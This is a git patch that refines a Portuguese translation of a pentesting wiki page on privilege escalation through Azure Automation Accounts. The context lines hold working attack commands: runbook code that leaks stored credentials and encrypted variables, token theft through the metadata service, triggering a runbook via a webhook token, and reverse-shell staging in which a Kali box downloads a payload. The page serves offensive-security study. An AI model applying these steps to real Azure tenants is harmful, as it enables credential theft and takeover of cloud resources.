From 442583d9b4624a3e237994d7324b477c333f8386 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:45:38 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-automation-accounts-privesc.md | 39 ++++++------------- 1 file changed, 12 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 4293f00b4..1d78819b7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -12,7 +12,7 @@ Para mais informações, consulte: ### Grupo de Trabalhadores Híbridos -- **Do Automation Account para a VM** +- **Da Conta de Automação para a VM** Lembre-se de que, se de alguma forma um atacante conseguir executar um runbook arbitrário (código arbitrário) em um trabalhador híbrido, ele irá **pivotar para a localização da VM**. Isso pode ser uma máquina local, uma VPC de uma nuvem diferente ou até mesmo uma VM do Azure. @@ -21,9 +21,9 @@ Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outr > [!TIP] > Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (**`IDENTITY_ENDPOINT`**). -- **Da VM para o Automation Account** +- **Da VM para a Conta de Automação** -Além disso, se alguém comprometer uma VM onde um script de conta de automação está sendo executado, ele poderá localizar os metadados da **Automation Account** e acessá-los a partir da VM para obter tokens para as **Identidades Gerenciadas** anexadas à Automation Account. +Além disso, se alguém comprometer uma VM onde um script da conta de automação está sendo executado, ele poderá localizar os metadados da **Conta de Automação** e acessá-los a partir da VM para obter tokens para as **Identidades Gerenciadas** anexadas à Conta de Automação. Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a VM, é possível encontrar nas **variáveis de ambiente do processo** a URL e o segredo para acessar o serviço de metadados da conta de automação: @@ -32,9 +32,9 @@ Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Automation Account, que você poderia usar para **executar código** no contexto da Automation Account e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Automation Account. +Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Conta de Automação, que você poderia usar para **executar código** no contexto da Conta de Automação e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Conta de Automação. -A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Automation Account usando: +A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Conta de Automação usando: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -49,7 +49,7 @@ $creds.GetNetworkCredential().password' ``` Observe como o script anterior pode ser usado para **vazar o nome de usuário e a senha** de uma credencial e o valor de uma **variável criptografada** armazenada na Conta de Automação. -A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação para que as alterações sejam aplicadas: +A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações: ```bash az automation runbook publish \ --resource-group \ @@ -134,31 +134,16 @@ az rest --method PUT \ }' ``` > [!TIP] -> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar essa atribuição. +> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar esta atribuição. ### `Microsoft.Automation/automationAccounts/webhooks/write` Com a permissão **`Microsoft.Automation/automationAccounts/webhooks/write`** é possível criar um novo Webhook para um Runbook dentro de uma Conta de Automação usando o seguinte comando. - -Observe que você precisará **indicar a URI do webhook** com o token a ser usado. ```bash -az rest --method PUT \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ ---body '{ -"name": "", -"properties": { -"isEnabled": true, -"expiryTime": "2026-01-09T20:03:30.291Z", -"parameters": {}, -"runOn": null, -"runbook": { -"name": "" -}, -"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" -} -}' - -# Then, to call the runbook using the webhook +New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true +``` +Este comando deve retornar um URI de webhook que é exibido apenas na criação. Em seguida, para chamar o runbook usando o URI do webhook +```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` @@ -256,7 +241,7 @@ O arquivo de configuração compactado é enviado para um contêiner de Armazena ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Passo 4 — Preparar a Kali Box +- Passo 4 — Preparar Kali Box O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub. ```bash